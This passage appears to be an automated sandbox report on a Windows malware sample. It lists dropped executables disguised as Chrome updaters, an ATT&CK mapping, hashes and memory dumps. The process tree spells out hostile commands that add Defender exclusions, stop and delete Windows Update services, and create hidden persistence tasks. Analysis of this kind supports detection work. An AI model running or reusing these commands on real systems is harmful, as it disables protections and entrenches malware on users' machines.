"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:5064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5060

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:252

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:3084

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:940

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:896

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:2724

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
5⤵
PID:2716

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
5⤵
PID:2636

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
5⤵
- Modifies security service
PID:1816

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
5⤵
PID:3840

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
5⤵
PID:352

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:1200

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:220

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2324

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2800

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#bcatrumjd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#hyrgjwg#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4512

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
5⤵
PID:4256

C:\Users\Admin\AppData\Local\Temp\setup12.exe
"C:\Users\Admin\AppData\Local\Temp\setup12.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
4⤵
- Creates scheduled task(s)
PID:4808

C:\Users\Admin\AppData\Local\Temp\setup1232.exe
"C:\Users\Admin\AppData\Local\Temp\setup1232.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4180

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- Loads dropped DLL
PID:3688

C:\Users\Admin\AppData\Local\Temp\watchdog.exe
"C:\Users\Admin\AppData\Local\Temp\watchdog.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4080

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:101092

C:\Users\Admin\AppData\Local\Temp\ChomiumPath.exe
"C:\Users\Admin\AppData\Local\Temp\ChomiumPath.exe"
5⤵
- Executes dropped EXE
PID:7164

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /C schtasks /create /tn \qnme49ij0f /tr "C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
6⤵
PID:7236

C:\Windows\system32\schtasks.exe
schtasks /create /tn \qnme49ij0f /tr "C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
7⤵
- Creates scheduled task(s)
PID:7288

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4780

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:2648

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:352

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2416

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:340

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:936

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:5104

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:5100

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4148

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:5184

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:5200

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:5220

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:2520

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:2656

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:1428

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:3704

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:5060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#bcatrumjd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1504

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe sqolsuydhn
2⤵
PID:6896

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:6948

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:6920

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Modifies data under HKEY_USERS
PID:6984

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe yaiuavjrxlzbmxlm GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1gPpwmfG4wZ3KDbx5PuSQNfaXWXA/ZHUajSlAeIWD5N6
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:7044

C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe
C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe
1⤵
- Executes dropped EXE
PID:7336

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:7412

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
d38b0be7a75f44a464fae4850792d85f

SHA1
b2f26d385e01704e04b56bde28b3e2a1892e4e7f

SHA256
33b1ee0ef1ce8e0a1f9e6b4e192eacf6f94b23836898c8ba27b0c057493a9727

SHA512
d7fafa719384524906a42239f5b18a2c2859bdd68eb4fd6ae63ab653c556a88752903f711cf10b5d1f8838858fbd296997e97ebde74735d881ffadd35f09171c

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
d38b0be7a75f44a464fae4850792d85f

SHA1
b2f26d385e01704e04b56bde28b3e2a1892e4e7f

SHA256
33b1ee0ef1ce8e0a1f9e6b4e192eacf6f94b23836898c8ba27b0c057493a9727

SHA512
d7fafa719384524906a42239f5b18a2c2859bdd68eb4fd6ae63ab653c556a88752903f711cf10b5d1f8838858fbd296997e97ebde74735d881ffadd35f09171c

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
1KB

MD5
371a032b2e4ac9562bd76ea9003cb09f

SHA1
f05dbf191e83a7b5311cb1a1e8d3005d5898a04d

SHA256
0c99df79eab17927f5281b5d4dfa96d22f3f8d13e81622f2febb86028aedc8d0

SHA512
a92d59d046182995f26e83179355631011d78bd58bfce23d3f2dc873a680b4146f5a0e284fc97028f01af448971143e5e4412c6efa40b6fdbe2f32a33d94e429

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
438B

MD5
0a96b0ce9ff335ff7239abd171adcbda

SHA1
0de043a15a8a5a424e85e218008f3f76449a62a1

SHA256
f07fcb1f9eca75cf582b74342151defa08d837e8c98c49ecb631e61f2f91624e

SHA512
bdd9811e2c8c5d4e8d929d1fc57f715c5f5fb1fa2a0c2e358d426d207cecda3434cd69f8a06402476436a25260408cd1b8e298af39977e799d3d63d43693b787

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
8f3969bac5758b14870d15f5352b09f0

SHA1
0154780441819ddbf1b8f807978ad404ea962c38

SHA256
2750aec9bd5451f0c09c4b97506336e7c17b50b72ffbc93b5942a0a4351bd3d9

SHA512
6945d933bebc0516220431312ade658a2f9e492aa5e1574f763c0022ebe0e9c1948c9fc12943ca98b978bd95944f598074de64068de77693cf416eb313284c54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
eb07fb7e489792e11d48a1af93497a0d

SHA1
b68239d31fbcfbd5eb188bdf2d86c13b80e7d7f1

SHA256
9a52cde1b0db109f30d71525ea5dd086cc65a086aa3f29a6aa6923b4e566e13a

SHA512
49bd721dd17e46d78c510378820fe98ca50f7b124ac9678fa2d38bbe36fa1d9ff8a70057018bf07db38a826cc7c985f8ade539ad60f796d85082de6076977a7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\ChomiumPath.exe
Filesize
19KB

MD5
df9c395f5640a450d5aba408567e7226

SHA1
b6bf596346dfbb906c282224fec47811101e8df4

SHA256
ad4080baa83c70ec3f8c0671b1d75bc85b17def9641be2e02aaf400811410b26

SHA512
bf10f921fa71e6c8557949be4981b9ce8704f3c273d6802035049ea40d1361c29f297f9f8642e9bd5753d3d91ddf0be4b3951cbd3f11571f1f6e64e59ad6a33d

Download Submit
C:\Users\Admin\AppData\Local\Temp\ChomiumPath.exe
Filesize
19KB

MD5
df9c395f5640a450d5aba408567e7226

SHA1
b6bf596346dfbb906c282224fec47811101e8df4

SHA256
ad4080baa83c70ec3f8c0671b1d75bc85b17def9641be2e02aaf400811410b26

SHA512
bf10f921fa71e6c8557949be4981b9ce8704f3c273d6802035049ea40d1361c29f297f9f8642e9bd5753d3d91ddf0be4b3951cbd3f11571f1f6e64e59ad6a33d

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.1MB

MD5
0810352270005ca86d15c8ba0d2704ab

SHA1
6b5b3d9c32706773b5dfcc2bc6f7a2529480c6fe

SHA256
dc8e45248dbc615f80a6cd7a28fbef0d925bdce86bee35762abe45efa57a7a8d

SHA512
ec1fff1b05ca1e4f61f6b57b1f53eaa875587de3bfa3687d95fd705ca85480f15992d504454a17819dfa5f927cd37f67e8c9225b249ecd587ece18ed0884af80

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.1MB

MD5
0810352270005ca86d15c8ba0d2704ab

SHA1
6b5b3d9c32706773b5dfcc2bc6f7a2529480c6fe

SHA256
dc8e45248dbc615f80a6cd7a28fbef0d925bdce86bee35762abe45efa57a7a8d

SHA512
ec1fff1b05ca1e4f61f6b57b1f53eaa875587de3bfa3687d95fd705ca85480f15992d504454a17819dfa5f927cd37f67e8c9225b249ecd587ece18ed0884af80

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup12.exe
Filesize
1.3MB

MD5
0a409a72f0374f2b9628046f2fda83e9

SHA1
21f80c9813bc1b27ab4567b3fe7c495d9da983fd

SHA256
006870ca65bcda51a9b72316cfc03457993c361d837f1c8a16a19a65bfea5070

SHA512
8e7926e59d2b18547eb87869bbbda692e00cb7253eb0c0c5b233a17e0eb6c2f799b68a902e400b902c4ed943e31d6e52ef67f412df924dd956e082c89cb324d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup12.exe
Filesize
1.3MB

MD5
0a409a72f0374f2b9628046f2fda83e9

SHA1
21f80c9813bc1b27ab4567b3fe7c495d9da983fd

SHA256
006870ca65bcda51a9b72316cfc03457993c361d837f1c8a16a19a65bfea5070

SHA512
8e7926e59d2b18547eb87869bbbda692e00cb7253eb0c0c5b233a17e0eb6c2f799b68a902e400b902c4ed943e31d6e52ef67f412df924dd956e082c89cb324d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1232.exe
Filesize
5.6MB

MD5
2fe9c9de1c3340e79bd827794f6364ff

SHA1
05dabb2212e7bdfe40e6f2d0c84d1ba25943b3b6

SHA256
1db4af8a62ab9e6a9067888db33d5a8096950d3463217e5304d066798a7eb7dc

SHA512
6f29d47fb81450de116a69a631cb06531bcbb3c307132778d83e8b7254063bd04e98e0098b1c6a15207496274158ea2ee61419953ddda626e4785e1be2fd3a49

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1232.exe
Filesize
5.6MB

MD5
2fe9c9de1c3340e79bd827794f6364ff

SHA1
05dabb2212e7bdfe40e6f2d0c84d1ba25943b3b6

SHA256
1db4af8a62ab9e6a9067888db33d5a8096950d3463217e5304d066798a7eb7dc

SHA512
6f29d47fb81450de116a69a631cb06531bcbb3c307132778d83e8b7254063bd04e98e0098b1c6a15207496274158ea2ee61419953ddda626e4785e1be2fd3a49

Download Submit
C:\Users\Admin\AppData\Local\Temp\watchdog.exe
Filesize
2.3MB

MD5
16cc5385354fe53a8a4f10a3c1d6e504

SHA1
0188aa75f084706eff23acac354c8a5d540a8795

SHA256
51aefda1af82fde0809a71728833d653e7d240a17f00ebc3bdd8d87079758c3f

SHA512
bfd279f192a59b23d76ce0d66cf090ad4f7020c2028ffe538607716bca17c36289e99250a0e1dc848b7d6eb28e58c42bd3302d954bb1c2f54f71fb4d0a1475f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\watchdog.exe
Filesize
2.3MB

MD5
16cc5385354fe53a8a4f10a3c1d6e504

SHA1
0188aa75f084706eff23acac354c8a5d540a8795

SHA256
51aefda1af82fde0809a71728833d653e7d240a17f00ebc3bdd8d87079758c3f

SHA512
bfd279f192a59b23d76ce0d66cf090ad4f7020c2028ffe538607716bca17c36289e99250a0e1dc848b7d6eb28e58c42bd3302d954bb1c2f54f71fb4d0a1475f7

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
0a409a72f0374f2b9628046f2fda83e9

SHA1
21f80c9813bc1b27ab4567b3fe7c495d9da983fd

SHA256
006870ca65bcda51a9b72316cfc03457993c361d837f1c8a16a19a65bfea5070

SHA512
8e7926e59d2b18547eb87869bbbda692e00cb7253eb0c0c5b233a17e0eb6c2f799b68a902e400b902c4ed943e31d6e52ef67f412df924dd956e082c89cb324d4

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
0a409a72f0374f2b9628046f2fda83e9

SHA1
21f80c9813bc1b27ab4567b3fe7c495d9da983fd

SHA256
006870ca65bcda51a9b72316cfc03457993c361d837f1c8a16a19a65bfea5070

SHA512
8e7926e59d2b18547eb87869bbbda692e00cb7253eb0c0c5b233a17e0eb6c2f799b68a902e400b902c4ed943e31d6e52ef67f412df924dd956e082c89cb324d4

Download Submit
C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe
Filesize
19KB

MD5
df9c395f5640a450d5aba408567e7226

SHA1
b6bf596346dfbb906c282224fec47811101e8df4

SHA256
ad4080baa83c70ec3f8c0671b1d75bc85b17def9641be2e02aaf400811410b26

SHA512
bf10f921fa71e6c8557949be4981b9ce8704f3c273d6802035049ea40d1361c29f297f9f8642e9bd5753d3d91ddf0be4b3951cbd3f11571f1f6e64e59ad6a33d

Download Submit
C:\Users\Admin\AppData\Roaming\qnme49ij0f\svcupdater.exe
Filesize
19KB

MD5
df9c395f5640a450d5aba408567e7226

SHA1
b6bf596346dfbb906c282224fec47811101e8df4

SHA256
ad4080baa83c70ec3f8c0671b1d75bc85b17def9641be2e02aaf400811410b26

SHA512
bf10f921fa71e6c8557949be4981b9ce8704f3c273d6802035049ea40d1361c29f297f9f8642e9bd5753d3d91ddf0be4b3951cbd3f11571f1f6e64e59ad6a33d

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
811d351aabd7b708fef7683cf5e29e15

SHA1
06fd89e5a575f45d411cf4b3a2d277e642e73dbb

SHA256
0915139ab02088c3932bcc062ce22d4e9c81aa6df0eacd62900d73d7ad2d3b18

SHA512
702d847c2aa3c9526ddf34249de06e58f5e3182d6ef66f77ddbdbbd2e9836026da6eacac2c892cf186d79bdc227a85c14f493b746c03233ef8820d981721c70a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
302a7c179ef577c237c5418fb770fd27

SHA1
343ef00d1357a8d2ff6e1143541a8a29435ed30c

SHA256
9e6b50764916c21c41d6e7c4999bdf27120c069ec7a9268100e1ce5df845149f

SHA512
f2472371a322d0352772defb959ea0a9da0d5ca8f412f6abafac2e6547bcc8a53394a6fb81b488521fc256bfc9f3205d92c6b69d6d139bdb260fb46578946699

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
380a0cce133757293625ab93123243d3

SHA1
f8134b23c2aee124e4c4ba1db6260054fd188619

SHA256
f3c57a9ab59020f0b61db784a6f692245893fa3745c35bb0c441b981a919f0a2

SHA512
c37813b57f7508f4eafe6ab174b485351b45f2272278776dca2d5c0914cd33d2aae38c70dc32143061e6a44d1d1b649e65f9bb2081e42f93f049be979815fdd4

Download Submit
\Users\Admin\AppData\LocalLow\mozglue.dll
Filesize
612KB

MD5
f07d9977430e762b563eaadc2b94bbfa

SHA1
da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

SHA256
4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

SHA512
6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

Download Submit
\Users\Admin\AppData\LocalLow\nss3.dll
Filesize
1.9MB

MD5
f67d08e8c02574cbc2f1122c53bfb976

SHA1
6522992957e7e4d074947cad63189f308a80fcf2

SHA256
c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

SHA512
2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

Download Submit
\Users\Admin\AppData\LocalLow\sqlite3.dll
Filesize
1.0MB

MD5
dbf4f8dcefb8056dc6bae4b67ff810ce

SHA1
bbac1dd8a07c6069415c04b62747d794736d0689

SHA256
47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

SHA512
b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

Download Submit
memory/220-337-0x0000000000000000-mapping.dmp

Download
memory/252-334-0x0000000000000000-mapping.dmp

Download
memory/340-714-0x0000000000000000-mapping.dmp

Download
memory/352-363-0x0000000000000000-mapping.dmp

Download
memory/352-704-0x0000000000000000-mapping.dmp

Download
memory/388-345-0x0000000000000000-mapping.dmp

Download
memory/896-346-0x0000000000000000-mapping.dmp

Download
memory/936-720-0x0000000000000000-mapping.dmp

Download
memory/940-344-0x0000000000000000-mapping.dmp

Download
memory/1112-333-0x0000000000000000-mapping.dmp

Download
memory/1200-332-0x0000000000000000-mapping.dmp

Download
memory/1428-721-0x0000000000000000-mapping.dmp

Download
memory/1504-703-0x0000000000000000-mapping.dmp

Download
memory/1504-1089-0x000002A3EE170000-0x000002A3EE18C000-memory.dmp

Filesize
112KB

Download
memory/1776-331-0x0000000000000000-mapping.dmp

Download
memory/1816-359-0x0000000000000000-mapping.dmp

Download
memory/2324-341-0x0000000000000000-mapping.dmp

Download
memory/2416-710-0x0000000000000000-mapping.dmp

Download
memory/2520-701-0x0000000000000000-mapping.dmp

Download
memory/2636-353-0x0000000000000000-mapping.dmp

Download
memory/2648-700-0x0000000000000000-mapping.dmp

Download
memory/2656-719-0x0000000000000000-mapping.dmp

Download
memory/2716-351-0x0000000000000000-mapping.dmp

Download
memory/2724-349-0x0000000000000000-mapping.dmp

Download
memory/2768-156-0x00000000779E0000-0x0000000077B6E000-memory.dmp

Filesize
1.6MB

Download
memory/2768-189-0x00000000779E0000-0x0000000077B6E000-memory.dmp

Filesize
1.6MB

Download
memory/2768-174-0x00000000779E0000-0x0000000077B6E000-memory.dmp

Filesize
1.6MB

Download
memory/2768-175-0x00000000779E0000-0x0000000077B6E000-memory.dmp

Filesize
1.6MB

Download
memory/2768-176-0x00000000779E0000-0x0000000077B6E000-memory.dmp

Filesize
